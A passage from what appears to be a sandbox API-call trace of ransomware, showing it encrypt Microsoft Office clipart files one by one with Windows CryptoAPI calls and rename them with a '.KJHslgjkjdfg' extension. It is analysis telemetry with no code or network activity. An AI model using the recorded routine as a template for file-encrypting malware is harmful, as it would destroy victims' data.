lpOverlapped=0x0) returned 1 [0196.851] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.851] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.851] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.851] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.851] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e8, lpOverlapped=0x0) returned 1 [0196.851] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f0) returned 1 [0196.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.851] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f0, lpOverlapped=0x0) returned 1 [0196.852] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.852] SetEndOfFile (hFile=0x130) returned 1 [0196.855] GetProcessHeap () returned 0x2ef0000 [0196.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.855] GetProcessHeap () returned 0x2ef0000 [0196.855] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.855] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.kjhslgjkjdfg")) returned 1 [0196.856] CloseHandle (hObject=0x130) returned 1 [0196.856] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0196.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.857] GetProcessHeap () returned 0x2ef0000 [0196.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.857] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.857] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.857] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.857] GetProcessHeap () returned 0x2ef0000 [0196.857] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.857] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.857] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.860] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.860] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb80, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb80, lpOverlapped=0x0) returned 1 [0196.860] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb80, dwBufLen=0xb80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb80) returned 1 [0196.860] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.860] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb80, lpOverlapped=0x0) returned 1 [0196.861] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.861] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.861] SetEndOfFile (hFile=0x130) returned 1 [0196.863] GetProcessHeap () returned 0x2ef0000 [0196.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.863] GetProcessHeap () returned 0x2ef0000 [0196.863] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.863] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.kjhslgjkjdfg")) returned 1 [0196.865] CloseHandle (hObject=0x130) returned 1 [0196.865] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1 [0196.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.865] GetProcessHeap () returned 0x2ef0000 [0196.865] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.866] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.866] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.868] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.868] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.868] GetProcessHeap () returned 0x2ef0000 [0196.868] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.868] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.868] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.868] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.868] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.868] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.868] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.869] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.869] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2178, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2178, lpOverlapped=0x0) returned 1 [0196.870] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180, dwBufLen=0x2180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2180) returned 1 [0196.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.870] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2180, lpOverlapped=0x0) returned 1 [0196.870] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.870] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.870] SetEndOfFile (hFile=0x130) returned 1 [0196.873] GetProcessHeap () returned 0x2ef0000 [0196.873] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.873] GetProcessHeap () returned 0x2ef0000 [0196.873] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.873] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.kjhslgjkjdfg")) returned 1 [0196.874] CloseHandle (hObject=0x130) returned 1 [0196.874] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1 [0196.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.876] GetProcessHeap () returned 0x2ef0000 [0196.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.876] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.876] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.878] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.878] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.878] GetProcessHeap () returned 0x2ef0000 [0196.878] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.878] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.878] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.879] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.879] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.879] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4c4, lpOverlapped=0x0) returned 1 [0196.879] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4d0, dwBufLen=0x4d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4d0) returned 1 [0196.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4d0, lpOverlapped=0x0) returned 1 [0196.880] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.880] SetEndOfFile (hFile=0x130) returned 1 [0196.883] GetProcessHeap () returned 0x2ef0000 [0196.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.883] GetProcessHeap () returned 0x2ef0000 [0196.883] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.kjhslgjkjdfg")) returned 1 [0196.884] CloseHandle (hObject=0x130) returned 1 [0196.884] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1 [0196.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.885] GetProcessHeap () returned 0x2ef0000 [0196.885] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.885] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.885] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.886] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0196.888] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.888] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.888] GetProcessHeap () returned 0x2ef0000 [0196.888] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.888] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.888] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.888] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.888] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.888] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.889] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2606, lpNumberOfBytesRead=0x4dff27c, 